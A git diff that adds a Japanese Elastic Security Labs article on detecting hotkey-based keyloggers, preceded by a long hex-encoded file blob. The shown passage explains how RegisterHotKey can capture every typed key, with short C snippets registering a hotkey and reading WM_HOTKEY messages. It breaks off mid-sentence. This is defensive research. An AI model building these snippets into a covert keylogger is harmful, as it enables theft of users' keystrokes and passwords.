d62f57255db9080f5f3dc13ed904ed864ad4449e53dd26c971ec76a092c939b285e9a71fadc47111e7370827e765851ad056db44cad3bf6a6a64f7b704e2416815ee8d1d2fad974b068767d10355c0ce27a16166941656a176d8d9c345da8b5516fa085307f8f836b83ed0e6e2c2249a9cba15ee45616f08a772e113670df662a81f2b3d69731b25d2edb7b3a0440183442ba3488ee7760ef7bdcd95857760c4c04e64fa348e48a6dc23638d5ff9c7492f061e9bafa8e4fdd1ee07efb52608076f12de363c39a41549bb753725730340c792141986dc413013928220399e94dc7b5e2c934635aa6cd256f4d8903f1ea955a4645865bbf7483bcacbc4415228b1a294047df641a5627cf8e1ec86d9689bc5f106ed5d4ede66387355cfd0881c35e82ce5de8bb8e3d6a9443724b2d7b609c61ac01c67fb1eee9fb76057901d9a08c5f4009778c1cbc83570e072dfd62abae35d2f8b0f8223bb065bcc41d95645d450a4fb589049b20d8fad251bb5edd8435c1c622f86155a028f1451a51e392301b7dcd6b26073c853bfb6ee94740563928c94c99d54453f499fdec92d95b1514094b29ca05d70e990c7669f9ca0b0206b6c0ddb9e0ae2c64f2f17ee253238d621e0103d2b9bd652c2f2cc2bb69f11be3b2430a1bdbe934bb310ac5f9cae3cecf77d5fe276c4199ac37c6cba11152bcdc491860da0e7fb358533e0c077af066a2c3d08aed0699155593481f407d180b39c443ebf394f2e7856ac89c489782d64da1b9aae35d2c26424811ee5cafcfc04ba708199ab27aa0d9c3f7f4728d4fcb303c455554397af7cbaa3bda6716134dc11f0638d98c2dc5fcdf993586800a3a5efc97c2944e92ede9f2985c4eb330228b31d84bffb19120f4bf588e4908ea28c52c63894fdb728e8e7a58032a6223e4178f5459378db4ebec7f05fb73c8edffccd517e1c7d91bebd9aa15442ffb937ebf1c86902cbf73540299ccd8323c1b754ee5c6528664bd5357032701a57d9902fa1c58cbee935a976b73e1368aecb50541a2099fd6b623d95715731d629ed671686ce866efb80d1512562a297e207f2e14fcc8d2d1ec2c47b104a76c54c61fc89d5bfcb4e96e68bec308c99f390ae1ef5a0a80c5e0049bde87e1ac4b71bc5ebe15ed882864ea1cd7e3406489a424fc6f1677eab80199ff32cb3b9eaa1e0bc47397eb77702f762039436c13c87760099236b240020bbcac3aac37da86ba252f9043265f00b76f481f1a2bb7353dd081474ac19e65d52b2069db9dd73982c96ac8028cba243ce56a91fb661f7a2f063cac5e30b40b799d0b7e1a77477387e952195494f5994c48c10b2ac102a99ba2dd36f233cf2dbfeb2fd6bee9752277ffba2ba1577e0ee427cd72c9b1453345fd04228b31d84bffb19120f4bf588e4908ea28c52c63894fdb728e8e7a58032a6223f332b9eb7ed619cd7e3399833255c6ce2ac97393c3dc8824bab694cca0b194e60db7ce946efce1a84850dd6b2639d74eb55134172eddcf4731ea65a96d0660077d69af8fd35d9faa2ba75d41102671dbda8b600622946090a1d7dae0026156324fe1a2f41f5282b9ddfc6c087aeed29a56df6b616c1d625f0df598d7754994b16219d19dd96f2f092d0c197c13b86de6d93e679a7cda76d42a3fb5044444771c52a7db269c5b1cf9ff7ec8efd66b484966148aebf3f7cd05aa1fbdad6e84f4698c5237610121e9c4deb9593e6edd4f6d9640f28d39ed691dd9fef7ce09d2dd66f7af977019fa0a98ab92574129f119e35c07ab39b885c72b0eb3be1f6586db740e51a39d7abfe1be3f5045965aaf3b137775fad267a715b255c716288a4c96e14b9078d78e8f8dc42661a5c624c03a42cda087dd575bd9ee5eed46b667d405f16869c98f366e4cb709692293e89492955accee7ad7dcf615f2c570fa1f24e65438f6b8cf701d2140c1b47475e3941ffba2e4dde9581d5fd7cd781a7055b655e587787a3965d5bbf4a2955dfe54bc1498a4d017acf9660dd8c97c971a0a1dafbd70a3c4cb6ac43f27bd85f0844d12bf14d87583212810c915438dc0c1d06f5544aea7dedf9c3ad59a0d8809306f5e79c1ee39645c0ee08287cc8d827b3b504f72d1ddf6c0a235b026eca5c134b744620061bd59f39851e3e59a4a11a9da36a96b3059b17be412d8ba002fb91398541c9d6cd53e7d98183c51c8a5f7a255d4de85353dd4ec37b13ebb77b91549c3175983983ddf2c423ec35bd671c0ed9a87ffb1fd44900686c04b245791bdcd72ccedb95f2b10f78710ef8bb203bc148288b202dba9621b9bb718e7649e3bfaaf07e6c06b9cf9cc5137b6c58dad9c36f0f5b9aaf89eb799dc639655220ab5cbf96ba3cedc96887877029f126452f594b90bcd0596b345c19a2315231d8c5766be2abd71e52605acd4ec0cb6e9c0bff7026140affa9d7e560fb484b7d2ee5e3c56ac01cc3060c7445537da752c06e5afb44c903e9b96e82d59b436ed09ad25bb8acbce2f955cd8cb6c55965a955f7c32e26e57e2d74bb232b2bba30e16582736bdaf0575702d400a35ba99551720dd859fad25ed6036376ccad4df77670bc763b9728939f330a9f013ea503eac9a4591c177bc28b03afaeb68774f99c4f8e4135820bf71f9fa5b78a1ab6384a5f9d7a563ea7a44f48f8365be7a32c171183b6c9a33063bd4032f1425e38a755d9077eba3ef3fefb129191720dfeb39d981c1dd18e379218182fea388f7497bbeb7f5b19079edb66583eb57138649864a7d28eac434fbc7545e0dbf0be3a4505cbd0725871af19b9a82cc5edd466bb60d666e10b1ccaea8eb8819e0d778d4e58ce2c0dac470f4af6b7bb290f38efd41f4b848c883064e441dc611b6e2d5e79023786a4833a8d7ca2fb0d3801e924df08dfb4aa149df552fff817dd6c8ca10309c56350bc6fed0dcc04c1fd84d1dcb84bc211c4c9f0b81c72d53f58facb40a7028fb6bad6679b0c88099d53b1c98d475ca779138807c4f59325d9d8bb1e3d12afbc10098ab4ddbf22309e566a81a9ecea10ecd0e395df0fd8ecc3d1c488db6af836ab18b07bc9f62c76d6191e297b4fe5965a04baa286848d39e0b28a90917c043f0876ced7c97a05317e176752ceb6234574d73e9462d6e70f0841c3d2317d25e0dd380e11766be27e91ca500b8f39f601ff3d8d27a6ba3fe0599b653e5bcdee4a2a38d9c2632cf833c684447ed028e6be44aabf6b11bc4195494f5994c48c10b2ac102a99ba2dd4c0bd606a9ffb5d0f4c4d33b0b960aa9e45156bbb22f23a6c8286defa0860a1694bc89b31f2ac3b768bff44c789df9e01f9ca40f215a1a977a35a7cc3d726227d3f3bc5cc5e92cb7eaa980bd7d6ea2e305f5d04bb0fa098abeb5330c52467f9a54a483c59fc7c9ae1a791d23bd204a9c0485cd76bdaf77a014dc99df56895a1b4f450d298a1d3bab94ea7f2f31f72ba83783a01080e8c176fa0fb714caa5eb71004a7fabacdf0b7d9bfdc608f9fe3e9ccdf8afdc1d78da12d1ac98502cfed25ecf2fcda8e6b4e53effbca4a84ccc44ff122be9f9f5b6cb6289453326c01b9d0a9aa7982244f3ece8f72a8d89fa30a45c4829e92f2c9919d9f1ca95b37269b6db859de5b477c1699a670025cf1732c5a11eaf806748b63322a2e12654ecaa5f22ca3c7cf8ff9847605709dc18e47ce5c485d67f04dbff01623460fa5ec170ec8e9b65e2323acd217c0249825553af73aea33218e9a32429ccf6eb3cb8aa3bdcb8a40db1d2bec20fea975932f2d1239966be3f6adff42ed2685377e1648a752d24148ecb8d7cddfc3718c11ac427908e6aa5bf9ef841d3900fc70a71d5f549ef6a5d2d8574bce75b7d26992160ef3b8a3b3d0aa1bd5f748802f9447239aaa4d90037b8c722a7a858b8426888e542da621d475cdbd9a761885154e2845736b1fcf0461f39ce15e4a60a94bfef27b454a9fa3206faad7e9fd0ed712b1f6160bbb4ff9ef7d26b75897048c45f492be32a05a6b92182b11192184ba4eca227589d4e47128e0601477ce1b22de27efc22ee1d9e71f0587352ff57c4da21bf250afe083f7a6d672662848a4413e5babff1f13e1de946b2934ba2b427233b27c78df42609d4c04c7aaff2f2afdffc6501a30606da3bc2a3664813ac702a5cb7e22f4b95bf8e0e0d3ce94221449d433faa52fc32ee02d7cda281d26b5a4921f4a8e226cfd074dd118e95db83abf22e35a8fd8ab2d774908c33224e102db215a451a68387a8f4f8cd0e5f7252ecd909b6fb4ae96944bdf4636719a74db1d4f324cd687069c1062181cbd103df90a0b679963d7b3f6bc1c116aaabdcb16ae48f9e5062fe75b3ee3f8bd818fb3210d45c25fdf1ea991bdd1d16affb5c46b824e58c119b341c1e595c434c0c30dbc6a8aa11873c6a23a294de82120ebbe5b673642f355c26af3269d945d9180914f58699f618376e66986967540540bdf984f78dcdd400f5cf1b8b91bfc526ad84f382c301d667fee10cfa9166a74afde08e831637918da35f959e543b436b64d475467045eef41a9e3c5b89140b1b494a50271e497662e88f7ad4419fb8e1afc77cb674568c30a52f1be6a52bfd1b63a315794f81f661d4bab395809333ae6ed1c45f4ca815f212afbf43afeb3c56b622d704e1dfde7fcff0dccae0013c5f1634a12878befeb8a5da084cc05e5bd08a2ea24d06f19fafc4134762a831eb1ed2349e9d24da637d68341487e90481d6bbd7a1e69c5e826acecf7968ac48dbc82f5b21c726a184a4fae6ae43581d042c50337e51c447d0000c605a36a8fd0311e60105becf74607e140daabcc57f54bd1e20e0cdcb395013bde726278b54881425e6f3893bf56fc55b0336e37f3e8570c2c216f666db297ec6881c727174ea6f9ce9a68134fdbe01ff50ab684060c0b5363b07834c53f0ffd2ba3020f367916a51ed9ef5586e56199f3bbd4309ef7e5d804a79ce89053083eb5fea5b6d5ea2f0cd69b26474a657599de10cd2cac9d7bb1af804b8ba3ad57957d62cb932445876986799df131ad58ef91cdc615c36f9257fca54c91233df081b222d2bb8b4e720bc350b3b522a4d26044c0035665b5fcf496297cf47a8092cfb2af14b782cba7969b753e6e47258c83267d787d78f4e5d6223af4b3fd8cb77020edad5d857edb95d1ad777ffd87b1197b5063db4fd73abedf7b545ecda6ffd69df255867261a42bcd5bb3ccc0d173b5d38027903c01aedaf71ecb89e19a30b481545728fae92528b42c138d02d1daa4cca189f563ed220c40ab508d31761f59038a6ddca196c1c0cf7bba694acbca5ed74f78b62880ed1a07d60bf3681eaa0ad34cef9c2d7fdf7254f7dc3117d5c4d0461fee119df11efa86168ce24c358134928c7cf492b100953a8a8c1635cfff58ad113c18825c744b9ffcb6ba76814bbe9c7a08e28f7cacba78fcece8a49a30f6efd8f4959151629a8871e389f3921435b7d4956821990670e8dc6480e11bfec01efe10f5f3ada319e6d6aff23769c5f8c5c3110844442b4eb2defb11d4657da5c6300a2bc2ee033ae0857b037f0ba8da1da6067cceee0e5658f9688a106ba50c3acf60e93f69331364341ed8cb978161a74dea8bcccb2b2f00930aaf9132159ccb583d41955a491a9cf6840a66e05582d527de0f7c8a3cc68c15c832cd58f24d8b4dcbdb76e5ab2f9830ca474750279182b53ebb4221c21dda407db6d51ff80479d4f505da8a858d9227621100cc595890b7cd774189703d114471699df02d39fab06a60622b38008ca0fc1d2c08fbc0c3de202a74288cf397b10feec34a9ba439445fb7f0d73aa37f31c6bdaeb57e37bc8569d9ef8498a74d49e5720e70e9f66f4f8f8a692a7e1f4cb9bea3be69e03b5206bc8e62df59fb8ce7cf8d8b40e673e1025643b19e046fc2fd7b77c241e1e6ef57d39fdf505b910c792806bfaf79a2683b79f35338e03ff4d49c63f6086f51de43d906181d492309a2fbfe3a4bd8badd287f154d349438ceb52a89a808c0744e2345427872ed1ac8bc3b69a8e04a7d36a567411d5f1b99c5fd7202a2558ad4bb80083471dbbffb013853ed1868a03cbbaab37aa025deb21e14f11e2b83e8b7f0c174608683dd4239ac8b37daf1b70470028ac812794873670523ef7d4ea2c24da36dec248b50fe03fd31766aedb8bc05877309427dc1b2c8fc04717429b6c7b922e0b2060a09d9b54a3b656450e57e2bd616e7c3c66fe743336398f7064df1aa5058005ee825e18b6c59863890e7ad9e39f75b867433372b029cbd8834ae597331a6b66de0e6a36a650493bc11ce302220a023c054f6ae15b36076a533b0e383ae2e6a1174a38ea5dbcc4089647a3a130c211240be4b948883262e38d19fc4eb3116571aed8e0276452e16f10777ecd4baeadb057dc24743b272d7af3ae77b8ae9df40b8420191b83d2bfaa0f3bd64189f0f8f02016e6f40e6b0e56b094cc53a26f1cb975b3efd9c6b0fb7248dcc52b2a8bd33b98be71be61e4faa02f995b323c07be113c84e7c0d54cdc7edd89dfa608f22c112c977f264f3069d90cfd7b503e7b2b8398e92ef61adad2e2511e0759fd9deb5f7e68ebae11b2a98f65b702863ec1623b2fe0ccaf14a399f3e7e456e98e5be3bded13724de4aabec7aee4d72d6e4616b620a1fa61d298dd9a6fdefc00185e5d9344f681826381b7fbe9feaa590bdcd589cff4f14fe5ab5fc4f73c4ac75b3dd9196995cce1c1d8baca4e82d381ec1bc8a4a306817ec6a1ae559a614aa85dcb517c79ccf3f26ec5e7358c61a13af09a5380a53925207cd50178a6ced06482e9c1f22402ce4bc9452d05d0127fd13360704fb6012fd74fb64902b366550815ed4af9580fc2e884094caf56c68ade4e01b3078dbcc10d6c5c21666cedabdc0f918e7f55dc19e1bf5f56a72f3498d6a34a3553cc6d900d97e5d2deae843d858a62b0f2ad31d293c2e9aae9b2af4f9ab4cbc142d739be852273f129d84684816141476c0c25c61708939491a0a4eea8bd8305a76d4565434bc33942931ee52427f74eb9ddb9e426216ba66d26c49ff4023558edb0fb3ba27d25cfaebffd7c76d35573baa095fde75c6c4145f6238a2440ca46f123e7938b10bc9168b6dae35c9785cbdd4cd15fd196ad765b81f9a525cee54a40e1198269edda9ed27da53168263b45f15627833498f7444e392ac178dcc39dde702f7dad599e61f0f33ad66cce43229319e66e3a8f3a9aca1fe566e40ca6cef72f5ffd0ecd7f48f3a4765c0c8685d357f8284bb76f88dd8f3234c911751441552ce98dcf2166d6620c4a331b0e93da242774d69596d76437982555836c3234a8c3429428b2d911ab6316c9529999bd4d863cb986dc354a2794815cc1f8a562302ebecf687b9ad7146261db0901f64b395939273796608d4b3c7f2a61e50b962669dad9eb35cd07958cd66348f728327c614ace5a151f7d991a113453e26e47a4b90d054a85908ae90895a822f3e6e6536968d3a729d9997cfdfc14b76e31a796fcfb531167586cbc3cd9b1cae5319ad358f6cb5aa620e0efca2376c5c09f3cc82213808682ea6d4f98bda0de52a3ffd82c488f0997c90b3a04bf00a4a00c09539c258166cafa0e4e06511a2237c5d17f982defb196c575518fdc052ca50f60c83cf559e2ce14f7955ee2bf993c3961eb537ab27155fe6855dd754245c0d95e35366445e61469b34e55e874ae025159d0671f72bcbcfb9e85bb84b9ac052e4061d3e8f4e9c1b7aa0d47c7fa985ffc3e50ef6f61ee2fd6eb2d466b940de351a9c04a10dab7124f9ed8ef6943d6f9561609969cbef38ca52d0adb37de75f237c8acca5f5b729ae228dd2eaf1c71e3cf177b9dc9955a03eec5058df0877de2995fe227de8e38ac8101602bee81fb700ad641e4596e99635a786551388c066199484158018bf2efd3fa420f6d07a43aa95f241bbc0f75bba0236364d6463138c2d144214be0982b9c9a07cf5d3c8bec5fc519b9bc60b8a3c1f11e5b962b454b72193db33e9e50d1b75b9b19c1593986375ba902c57d0dfecff2a189d6e33da28289fb40f979843f2ef1479041cf6934e0635e7c5c4bb02c6d8f9cab40a4c176cdf67bd6cb00485567deab6e1e22357fdbe4756efe9f0898f0ee9009d79faad9bfde70cfcbdc8fac3c6383d4dc236b65b12023db2b84b32edc9c978e691a6671ed5cb49252c294f8aeec49595f81d5f3f620d31a267728ec2c25674f6734c55643ea5a4da288db5c3e40327e43a593981e210ae3852c33d6126e95e47f78b0c49c976d0fc77ffb20d944d40ae298f459fc78fbf75bd1b18bb35565b7945d91fb51ac46ce5e8df9115293e6098237b278c877b45f166beda432e4d34f177f29aa8af68e4247a1699e386c204f546822c01881ce8bfe33cc5e779e40cdb8fa16b476daac294fdaa2ff8efe824248e28e80b5e1a5fd8d1e679a93f1529ad94bd5fc3416d8dd9cbea37976200d73955ccfc45f00d0644a9cf0b5ca3ef5cee403138009d141eca29eab80305a2ab11b7116507096a259e7762ede21c9ff2ea74d2c887f8ba2a5a9d123256dac66512844cbe04f30c02a9aeee116c729d54a333897bc9b53f354e2aedd9aecb644bf0321bc57df776b7d0a5f739fe25018d3aafe0160e46df0a91586c450fc40b1cc9af77becabc3058780840c55e418fd1c982c152f31bb3b2ad9b8150a3b9d915c357fac782e32b902f14e5a2afaaadc98b40f40593ecdb0a3e117f6d5be96605c806c5f77194f86baa5c72304073ca3f1e073ecbc532ef2f8b5f38097cd904b059a994f3628661402e6d02b70d3746149eb33c37d382d856c4b717ccfd1a74e12b8339fc3639839d689023e613d8c5f07805712c7d82b22bda4a0668d7b52683df32e90ab5fe4c8db5c627993dbc652b5c1f65b66a2a10a5bc2966efe9b230f76c5092de934d4bf6813b3fe748432f8cc408a5e00838b524c27917ef2abcb10f3642986e99ddd8acbb8e5e6a9b79c9092e9f860058dc8a516018c24700f5665d038f7d8c6e9b1c19493f4fde7519fe080d0b4a87a9c08f8ef1fbb2a0983ddc89aec67f916a6fda84fc43c28fe9dd452fd207d770452d0629d0dae7f18f4ba4d0e4ceafd48aed31b55603c5f2bfd1054e9c569a17cfed4bf6813b3fe748432f8cc408a5e0083c99290caec39a6efd66634da4e3e932734a7ffa53e92f52000f89608aed8bdd29238457108c65538c39a8382f02c45864b3f5f01a023702790844a7b182992f97446ad5c3f7a76d0e7ad6f07b6348fb8ab5c7b1357651f7ea83c1664f4ebcf52d415c37833e4f3c8198ba9140eeead13233c4a81c4bdc155b8db1e48451db7c81680f2184ec37ad54673ea395ab31befebf214f5cb3f69bf84170783fa894b100a92eea55e7f7d4dda65b5b39f8c0240de64f668d4200a671cfd27ff6b37630cfbe9672255fd9eafd7c8aca00844726e75d6100aa875c0eefc77ac6ecb6655c2980cff2e74cc3507ea0bb28c126530fde7ebd91a7173a7b2e01d748086c57ba515f76046b7db18e4cc64213b07a6a70a2f9a256bcd9749e644735488a4f14b1710566917c6e89cf2b96cad85352e9d3c0813fea80ff5d14923f007924671fb4091dbe0e1b23cea7fe5c67f01361ef5ff5ef7e28e8c3732d908c239eb20e7e0f6e3e1082d4494fa1efef600a46babd9a88353b27e2703ed02f83dc9b02dc09827119b8ae7157a418f4c39dbb843becac8ef9f2930776b224892dd0b04fc93a00e36ee757d983283a6896eb0ea6ee77043077da1147b925350a5aa260eb272c2a6951906c16bcb1b60783519141a51fcb0aae82e5f84affcccdd7ba69f04a0b8e06f18420a49fa2ed8f8de316e42fc6b63b2ff2f3b99c2f4a39283a87f6ea8934c8473c496380dac22a8e5c4b40df34c4ecf33cf15e84933503d7c3233bf0bd4d49515b8c0adc2c7a4485c8fd91920055251925cb508b4f331a15d6f1322e904d8c8759c6c02aba251251dd2cad49d39ec4ab2c85d3d05b78c02e0cf56b962994cc55eb217bd5be8e77687cba436e3e0f157009a2962bbdf772c6f602cbb509c1b37e226970594993036ae06845f111e7f539ace5960dc300e5647679ea0707c0852873f93697a7f3e104a493629473df59c5bc0934746be7f71ed0968e47a2405a4f0ae2314aebfb4e11798774e61e76b773d1c511901e31dd0883644babeadef3860a05dff2bbecd80221d6e35bf6780b5958792fe4e01a012634c77ac70d7f3a3919e53214e0dcf0a20469f55d61fe983018b44f2a5aca2a7d3b3dba30d8f0c5bf817d5bc74f505d6657b5d584a7768f963c85fa80a05151f06165d465fddc36ee97d1246e74724c57db08d8aef4b9917487f8aa59fe39c5789f14effa62928a06da4f15b28cf74a1f5912bfdef627f0cc77003b0fd8332d4ddf3b6798ad65989f364999558683954f0ddcd9276a9fab4cb871fca60f7dbfd3cc8bd7db6246694c9d1db4b94a3a2ac14519805d85c62a6e399876380de0259d8d7355700bb61104ed18e9eed0b97d954f226ad6482873c6302eca0413b3cbb3b5fc451c848756d7f59fb597164d1383c4b91f526df9ebce5116065f547abf03ab6ade1a4f5fdc26ab9f7ed5afab47291f8af247eb4bd887f521555867717aede93233e5f35f3099247862a7e9eafd72db992aaa8c23478bdc31db3bd8c6129cb1683517f7f8f98f8b8aa897201e880a4c4bb554398e9f9e8dee403d59365db8415b03ef79aa9e8dcae88e6f20639196c34ee79205128518a7f99ef8e6307bd4ae81eaab3d852bbf2cdb03fecf92cc1f850e40bb346ffd6e730d488fc2b238ed6ca722363b1ddcb79b46ce074f74d740bf7468780eed399fd2babb51d0f8c273022c376e553485a12f03323daa021ff39b16bdf75dfaa93280cfbc372603c5d6e8f811298fabdb7c4bfd357f07a2957f1da6e950d22d91f534d9c80ccf40974723da6282fb60028beefd7be5dd63ae611c9a0cdb209eca96ae4954ef8f68810255ca72ec9e8eaa5d0582bd50a5312d71bec5105d218a457bae074be079a3276bd0c02b342bc21197bdf15f2adc9aa108e565f27ca1035cc02f9139735db23c6d4dddd7d60c01e7bdee3736c582d1c648122bcc70bd843d1d6c120474f27da9c27951d309621b8be04eb72e06e0639818ca266fdd283e72ea0c692454f8b80b6c2f773d71d2b13d14abe930807c3c64cb3f7f936dd40ed18ad00de5c3ae500f2a3f34d0912510b62591b4edd7326c82c43ba5b6d6e542e4498ca1cc21676cd22add509b89a6fac5e6fb1cd6e708004fd950eb0e456529fde8a451bb6c1020595cd7925ad0e24e342477157fec3171f9d33cf1e839ad58cb5786a73be0aa6e6904a9a5e3acaa306852612633d635a2aead5ef0e0ed059e71ae6d7f8fb9ef81d6bb5c20e9822853a50dec06f4bc0c24c3e44bbb3479fba946ffb472d36e572ebb9cdf3f777ffa69e0522904e6f391d1ba9293f7fa14dafdbd55674d5f01c16463b6d8cb5a28dff6266f4e0f8506ab9af5c140a8ff392da456aa1cfb6a2744132b30e264e9ac9ba03456508ec00df229d736e6e97e98fa98be13e2c0a7d4b82191b57bfda565c5775e5633e07294637a57a97689097c69597d94312b71ea0d1135464b238865040a14f9b08f29d37647fdf5a9c5b01706187a3edf84d28c93dfa7978edd387edc8ff255f6192bbcca506bf1972f9a9eea5288423e7f27d564345b0184d92193d593ee5a799eae45d73c8bf4648bfd4ee18dac2b21bab0063e3dcabdeba76985b532aec0e373a46d098ee212ddbe751dcdd0f35f24bffa36b99453027b723c82d51a1e5e8c1436de9755548d441bffdfcc06fdbf05ec7ab9207cf259de2e300cbe54510c5fa3e08304b4f6eb07b6a0a79e222b374a3c4d49f07dcc85055923b3ede34bc2f61084128c1089ab62ba94890a82222c8563c11cdabe07761017dc8d4b9009c7f0e4f362e7da203aa809a2ec135550da18d26f3da4f88e79a5c2dd43e9ade35a629c1b42b7ce06ea5016535518256ebb3c56e5f343729cbbdbfd8780ec46fa3c9c48eb4e4e55122c2b965e2ab8bb334f3ef22b6accdad1eb0dc9207b51b671223f95a6f97c2227fd92a4caa8eaed3c8561d295a1acd9d1fd3cf4a9eda14047a8c544f20741423843f82086523068446082fab1f9a2050fc4801fe26ca2cc82d3df6d9c71054cec4590a4f12b36375e8b186be3baf7e16ad9a950e87a582cf4fcd390ca797c13a71ca5c9c517e9b04de13a924f6a9394608ad84fcc97af9e68697c6917a236266651b30e4a5dbf8841748ee77ee430e80af70f1aca13e94be56823ab87bb1ef1dcca7c90b0ac4b4f454f74753c5c2988e581790957fa0cc3f6efe01d7f803f0fbdbd6ff9f29a9557f510b7e5ee7cdbdab12b398e69d509e5e43169739ca0c8da831ada225a7d3b45899bb3a904339b361b33e7e084cd5ea492ed9cced681a7cffbae4e610562a38d5b133118e1da163b79c3deaf660bbe22a915e2298c65cfa7362f41f3bb708945b67ae018ea4d8af546c3fe4defc6d7978ab4a0e6c7bd3a6aa0c212917557995e51cab1f680c047a51e464b25e4e5ae12ccdefaa355bdf9ff09f639419e9de7d0809957883cf21375617185b7b72e2014ea462f1fe42e527370282fa4541835a898b2290ec330862b78b8a9efeb069a239ab48a3d1fa8def9072e5940a609a7c949d7639f5418a28d3a9d0389d7a99f7e4c3ad391f42530a6483f6681d6bdf94fe8b80aa8a7772c502bd208ca2b2fa93f633b8764d241f1ef96d9678e05fff7057d3f2d864221fee25453e688ad93412ac1d81f018e46b56bd09aa6c8d33c6926c9d76fcc613cd037e367fefe0041b9ae3 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers_jp.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers_jp.md new file mode 100644 index 0000000000000..fb8d8944abe3a --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers_jp.md @@ -0,0 +1,223 @@ +--- +title: "未公開のカーネルデータ構造を使ったホットキー型キーロガーの検知" +slug: "detecting-hotkey-based-keyloggers-jp" +date: "2025-02-04" +description: "本記事では、ホットキー型キーロガーとは何かについてと、その検知方法について紹介します。具体的には、ホットキー型キーロガーがどのようにしてキー入力を盗み取るのかを解説した後、カーネルレベルに存在する未公開(Undocumented)のホットキーテーブルを活用した検知手法について説明します。" +author: +- slug: asuka-nakajima +image: "Security Labs Images 12.jpg" +category: + - slug: security-research + - slug: detection-science +tags: + - detection engineering + - threat detection +--- + +## 未公開のカーネルデータ構造を使った +## ホットキー型キーロガーの検知 + + 本記事では、ホットキー型キーロガーとは何かについてと、その検知方法について紹介します。具体的には、ホットキー型キーロガーがどのようにしてキー入力を盗み取るのかを解説した後、カーネルレベルに存在する未公開(Undocumented)のホットキーテーブルを活用した検知手法について説明します。 + +## はじめに + + Elastic Security Labsでは2024年5月、[Elastic Defend](https://www.elastic.co/guide/en/integrations/current/endpoint.html)のバージョン 8.12 より追加された、Windows上で動作するキーロガーの検知を強化する新機能を紹介する[記事](https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp)を公開しました 。具体的には、サイバー攻撃で一般的に使われる4種類のキーロガー(ポーリング型キーロガー、フッキング型キーロガー、Raw Input Modelを用いたキーロガー、DirectInputを用いたキーロガー)を挙げ、それらに対する私たちが提供した検知手法についてを解説しました。具体的には[Event Tracing for Windows](https://learn.microsoft.com/ja-jp/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-) (ETW)における、Microsoft-Windows-Win32kプロバイダを用いた振る舞い検知の方法についてを紹介しました。 + 記事公開後、大変光栄なことに記事がMicrosoft社のPrincipal Security Researcherである[Jonathan Bar Or](https://jonathanbaror.com/)氏の目に留まり、「ホットキー型キーロガーもある」といった貴重なご意見とともに、そのPoCコードも公開してくださりました。そこで本記事では、氏が公開したホットキー型キーロガーのPoCコードである「[Hotkeyz](https://github.com/yo-yo-yo-jbo/hotkeyz)」 をもとに、本キーロガーの検知手法の一案についてを述べたいと思います。 + +## ホットキー型キーロガーの概要 + +### そもそもホットキーとは何か? + + ホットキー型キーロガーについて説明する前に、まずホットキーとは何かを解説します。ホットキーとは、キーボードショートカットの一種であり、コンピュータにおいて、特定の機能を直接呼び出して実行させるキーまたはキーの組み合わせのことを指します。例えばWindowsにおいてタスク(ウィンドウ)を切り替える際に「**Alt \+ Tab**」を押している人も多いかと思います。この時使っているこの「**Alt \+ Tab**」が、タスク切り替え機能を直接呼び出す「ホットキー」にあたります。 + +*(注: ホットキー以外にも、キーボードショートカットは存在しますが、本記事ではそれらは対象外です。また本記事に記載の事項はすべて、筆者が検証に利用した環境である、仮想化ベースのセキュリティが動作していないWindows 10 version 22H2 OS Build 19045.5371が前提になります。他のWindowsのバージョンではまた内部の構造や挙動が違う場合があること、ご注意ください。)* + +### 任意のホットキーが登録できることを悪用する + + 先ほどの例のようにWindowsで予め設定されたホットキーを使う以外にも、実は自分で任意のホットキーを登録することも可能です。登録方法は様々ありますが、[RegisterHotKey](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-registerhotkey)というWindows APIを使えば、指定のキーをホットキーとして登録することができます。例えば、以下が`RegisterHotKey` APIを使って「A」([virtual-key code](https://learn.microsoft.com/ja-jp/windows/win32/inputdev/virtual-key-codes)で0x41)キーを、グローバルなホットキーとして登録するためのコードの例です。 + +```c +/* +BOOL RegisterHotKey( + [in, optional] HWND hWnd, + [in] int id, + [in] UINT fsModifiers, + [in] UINT vk +); +*/ +RegisterHotKey(NULL, 1, 0, 0x41); +``` + + ホットキーとして登録後、登録されたキーが押下された場合、`RegisterHotKey` APIの第一引数で指定したウィンドウ(NULLの場合はホットキー登録時のスレッド)の[メッセージキュー](https://learn.microsoft.com/ja-jp/windows/win32/winmsg/about-messages-and-message-queues)に、[WM\_HOTKEYメッセージ](https://learn.microsoft.com/ja-jp/windows/win32/inputdev/wm-hotkey)が届くようになります。以下は実際に、メッセージキューにWM\_HOTKEY メッセージが来ていないかを[GetMessage](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-getmessage) APIを使って確認し、届いていた場合、WM\_HOTKEYメッセージに内包されていた virtual-key code(今回の場合「0x41」)を取り出しているコード(メッセージループ)になります。 + +```c +MSG msg = { 0 }; +while (GetMessage(&msg, NULL, 0, 0)) { + if (msg.message == WM_HOTKEY) { + int vkCode = HIWORD(msg.lParam); + std::cout << "WM_HOTKEY received! Virtual-Key Code: 0x" + << std::hex << vkCode << std::dec << std::endl; + } +} +``` + +  これは言い換えると、例えばメモ帳アプリに文章を書く際、Aキーから入力された文字は、文字としての入力ではなく、グローバルなホットキーとして認識されることになります。 + + 今回は「A」のみをホットキーとして登録しましたが、複数のキー(BやCやD)を同時に個々のホットキーとして登録することも可能です。これはつまり、`RegisterHotKey` APIでホットキーとして登録可能な範囲の任意のキー(virtual-key code)の入力は、すべてグローバルなホットキーとして横取りすることも可能であるということです。そしてホットキー型キーロガーはこの性質を悪用して、ユーザから入力されたキーを盗み取ります。 + 筆者が手元の環境で試した限りは、英数字と基本的な記号キーだけでなく、それらにSHIFT修飾子をつけたすべてキーが`RegisterHotKey` APIでホットキーとして登録可能でした。そのため、キーロガーとして問題なく、情報の窃取に必要なキーの監視ができると言えるでしょう。 + +### 密かにキーを盗み取る + + ホットキー型キーロガーがキーを盗み取る実際の流れについてを、Hotkeyzを例に紹介します。 +Hotkeyzでは最初に、各英数字キーに加えて、一部のキー(VK\_SPACEやVK\_RETURNなど)のvirtual-key codeを、`RegisterHotKey` 